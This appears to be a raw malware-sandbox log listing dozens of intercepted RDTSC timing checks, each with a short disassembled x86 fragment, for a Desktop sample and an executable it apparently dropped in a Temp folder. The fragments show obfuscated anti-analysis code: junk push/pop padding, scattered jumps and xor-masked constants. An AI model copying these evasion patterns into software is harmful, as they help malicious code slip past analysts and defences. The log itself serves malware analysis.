Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D0008B second address: 4D0009A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov ebx, ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D0009A second address: 4D000BC instructions: 0x00000000 rdtsc 0x00000002 mov dx, cx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 xchg eax, ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F4E24C349E7h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D000BC second address: 4D000FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4E24C29F82h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov dh, 4Ah 0x0000000f mov ebx, eax 0x00000011 popad 0x00000012 xchg eax, ecx 0x00000013 jmp 00007F4E24C29F84h 0x00000018 mov dword ptr [ebp-04h], 55534552h 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 mov esi, ebx 0x00000024 pushad 0x00000025 popad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D00B07 second address: 4D00B47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, bl 0x00000005 pushfd 0x00000006 jmp 00007F4E24C349E0h 0x0000000b sbb ax, 75A8h 0x00000010 jmp 00007F4E24C349DBh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov dx, cx 0x00000020 jmp 00007F4E24C349DEh 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D00B47 second address: 4D00B4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D00B4D second address: 4D00B61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov esi, 7A1A7F11h 0x00000011 mov al, FBh 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D00B61 second address: 4D00BD4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4E24C29F86h 0x00000009 sbb ecx, 2586DD98h 0x0000000f jmp 00007F4E24C29F7Bh 0x00000014 popfd 0x00000015 call 00007F4E24C29F88h 0x0000001a pop esi 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e mov ebp, esp 0x00000020 pushad 0x00000021 mov dx, 24C2h 0x00000025 call 00007F4E24C29F83h 0x0000002a pushad 0x0000002b popad 0x0000002c pop esi 0x0000002d popad 0x0000002e cmp dword ptr [75C7459Ch], 05h 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D00BD4 second address: 4D00BD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D00BD8 second address: 4D00BDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D00BDC second address: 4D00BE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D00C43 second address: 4D00C5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4E24C29F84h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D00C5B second address: 4D00C76 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C349DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push 31E5A9D1h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D00C76 second address: 4D00C7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D00C7B second address: 4D00C95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 1E0E128Fh 0x00000008 push eax 0x00000009 pop edx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xor dword ptr [esp], 442335F9h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D00C95 second address: 4D00C9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D00C9B second address: 4D00CF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, bx 0x00000006 mov bx, D450h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d call 00007F4E95B498A0h 0x00000012 push 75C12B70h 0x00000017 push dword ptr fs:[00000000h] 0x0000001e mov eax, dword ptr [esp+10h] 0x00000022 mov dword ptr [esp+10h], ebp 0x00000026 lea ebp, dword ptr [esp+10h] 0x0000002a sub esp, eax 0x0000002c push ebx 0x0000002d push esi 0x0000002e push edi 0x0000002f mov eax, dword ptr [75C74538h] 0x00000034 xor dword ptr [ebp-04h], eax 0x00000037 xor eax, ebp 0x00000039 push eax 0x0000003a mov dword ptr [ebp-18h], esp 0x0000003d push dword ptr [ebp-08h] 0x00000040 mov eax, dword ptr [ebp-04h] 0x00000043 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000004a mov dword ptr [ebp-08h], eax 0x0000004d lea eax, dword ptr [ebp-10h] 0x00000050 mov dword ptr fs:[00000000h], eax 0x00000056 ret 0x00000057 jmp 00007F4E24C349DFh 0x0000005c sub esi, esi 0x0000005e pushad 0x0000005f pushfd 0x00000060 jmp 00007F4E24C349E5h 0x00000065 sbb si, FF86h 0x0000006a jmp 00007F4E24C349E1h 0x0000006f popfd 0x00000070 movzx esi, di 0x00000073 popad 0x00000074 mov dword ptr [ebp-1Ch], esi 0x00000077 push eax 0x00000078 push edx 0x00000079 push eax 0x0000007a push edx 0x0000007b pushad 0x0000007c popad 0x0000007d rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D00CF9 second address: 4D00CFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D00CFD second address: 4D00D03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D10A76 second address: 4D10A93 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C29F81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D10A93 second address: 4D10A97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D10A97 second address: 4D10A9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D10A9D second address: 4D10AB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4E24C349E1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D10AB2 second address: 4D10AF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F4E24C29F7Ah 0x0000000e mov dword ptr [esp], esi 0x00000011 pushad 0x00000012 mov esi, 5BF05BF9h 0x00000017 popad 0x00000018 mov esi, dword ptr [ebp+0Ch] 0x0000001b pushad 0x0000001c mov dh, cl 0x0000001e movsx edx, si 0x00000021 popad 0x00000022 test esi, esi 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F4E24C29F85h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D10AF2 second address: 4D10AF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D10AF8 second address: 4D10AFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D10AFC second address: 4D10B88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F4E95B32289h 0x0000000e jmp 00007F4E24C349DFh 0x00000013 cmp dword ptr [75C7459Ch], 05h 0x0000001a jmp 00007F4E24C349E6h 0x0000001f je 00007F4E95B4A337h 0x00000025 pushad 0x00000026 mov si, FF9Dh 0x0000002a pushad 0x0000002b mov eax, 5557173Fh 0x00000030 pushfd 0x00000031 jmp 00007F4E24C349E4h 0x00000036 and esi, 0C2B7028h 0x0000003c jmp 00007F4E24C349DBh 0x00000041 popfd 0x00000042 popad 0x00000043 popad 0x00000044 xchg eax, esi 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007F4E24C349E5h 0x0000004c rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D10B88 second address: 4D10B98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4E24C29F7Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D10B98 second address: 4D10B9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D10B9C second address: 4D10BAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D10BAA second address: 4D10BB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dx, 14FCh 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D10BB3 second address: 4D10BC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4E24C29F81h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D10BC8 second address: 4D10BCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D10BFD second address: 4D10C01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D10C01 second address: 4D10C07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D10C07 second address: 4D10C0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D10C51 second address: 4D10C8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C349E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4E24C349E8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D10C8B second address: 4D10C91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	RDTSC instruction interceptor: First address: 4D10C91 second address: 4D10C96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: 94028C second address: 94029D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C29F7Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AAF48C second address: AAF4A0 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4E24C349D6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007F4E24C349D6h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AAF4A0 second address: AAF4A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AAF4A6 second address: AAF4B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AAF4B0 second address: AAF4B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AAE373 second address: AAE381 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F4E24C349D6h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AAE381 second address: AAE3A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F4E24C29F76h 0x0000000a jo 00007F4E24C29F76h 0x00000010 popad 0x00000011 popad 0x00000012 push ecx 0x00000013 jmp 00007F4E24C29F7Dh 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AAE68E second address: AAE694 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AAE694 second address: AAE69B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AAE69B second address: AAE6A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AAE9AE second address: AAE9B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AAE9B2 second address: AAE9BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AB12C4 second address: AB12CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AB131F second address: AB1335 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4E24C349E2h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AB1335 second address: AB13AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C29F7Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e mov ecx, dword ptr [ebp+122D2E30h] 0x00000014 mov si, 5C43h 0x00000018 push 00000000h 0x0000001a mov cx, dx 0x0000001d push B11A336Eh 0x00000022 jng 00007F4E24C29F7Ah 0x00000028 add dword ptr [esp], 4EE5CD12h 0x0000002f mov dword ptr [ebp+122D396Fh], ecx 0x00000035 push 00000003h 0x00000037 mov ecx, 5C1D556Dh 0x0000003c push 00000000h 0x0000003e push 00000000h 0x00000040 push edx 0x00000041 call 00007F4E24C29F78h 0x00000046 pop edx 0x00000047 mov dword ptr [esp+04h], edx 0x0000004b add dword ptr [esp+04h], 00000017h 0x00000053 inc edx 0x00000054 push edx 0x00000055 ret 0x00000056 pop edx 0x00000057 ret 0x00000058 push 00000003h 0x0000005a or dword ptr [ebp+122D396Fh], eax 0x00000060 push BEE8A553h 0x00000065 push eax 0x00000066 push edx 0x00000067 pushad 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AB13AD second address: AB13B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AB13B3 second address: AB13B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AB13B8 second address: AB13F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 7EE8A553h 0x0000000f or dword ptr [ebp+122D396Fh], edi 0x00000015 stc 0x00000016 lea ebx, dword ptr [ebp+12445213h] 0x0000001c push edx 0x0000001d jmp 00007F4E24C349E5h 0x00000022 pop edi 0x00000023 mov si, 3727h 0x00000027 xchg eax, ebx 0x00000028 jnc 00007F4E24C349DEh 0x0000002e push eax 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AB1612 second address: AB1616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AB1616 second address: AB161C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AB161C second address: AB1666 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C29F83h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F4E24C29F87h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F4E24C29F85h 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AB1666 second address: AB1676 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c pushad 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AB1676 second address: AB16A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jnc 00007F4E24C29F86h 0x0000000b popad 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F4E24C29F7Dh 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AB16A7 second address: AB16B1 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4E24C349D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AB16B1 second address: AB172D instructions: 0x00000000 rdtsc 0x00000002 js 00007F4E24C29F7Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b or dword ptr [ebp+122D1EB7h], esi 0x00000011 push 00000003h 0x00000013 push 00000000h 0x00000015 push ecx 0x00000016 call 00007F4E24C29F78h 0x0000001b pop ecx 0x0000001c mov dword ptr [esp+04h], ecx 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc ecx 0x00000029 push ecx 0x0000002a ret 0x0000002b pop ecx 0x0000002c ret 0x0000002d mov edi, 73BC2FB1h 0x00000032 push 00000000h 0x00000034 xor dword ptr [ebp+122D2F80h], edi 0x0000003a push 00000003h 0x0000003c ja 00007F4E24C29F7Eh 0x00000042 mov ecx, ebx 0x00000044 call 00007F4E24C29F79h 0x00000049 push edx 0x0000004a push esi 0x0000004b jmp 00007F4E24C29F7Ah 0x00000050 pop esi 0x00000051 pop edx 0x00000052 push eax 0x00000053 pushad 0x00000054 je 00007F4E24C29F78h 0x0000005a pushad 0x0000005b popad 0x0000005c pushad 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AB172D second address: AB1747 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jbe 00007F4E24C349E8h 0x00000012 push eax 0x00000013 push edx 0x00000014 jno 00007F4E24C349D6h 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AD0586 second address: AD05AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jmp 00007F4E24C29F88h 0x0000000c jg 00007F4E24C29F76h 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AD06CB second address: AD06D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AD06D1 second address: AD06EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F4E24C29F76h 0x0000000a jmp 00007F4E24C29F7Fh 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AD06EA second address: AD072C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C349DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007F4E24C349DEh 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F4E24C349E9h 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AD072C second address: AD073E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C29F7Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AD073E second address: AD0744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AD0744 second address: AD0757 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F4E24C29F76h 0x00000009 pushad 0x0000000a popad 0x0000000b jo 00007F4E24C29F76h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AD08B4 second address: AD08C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F4E24C349D6h 0x0000000a popad 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
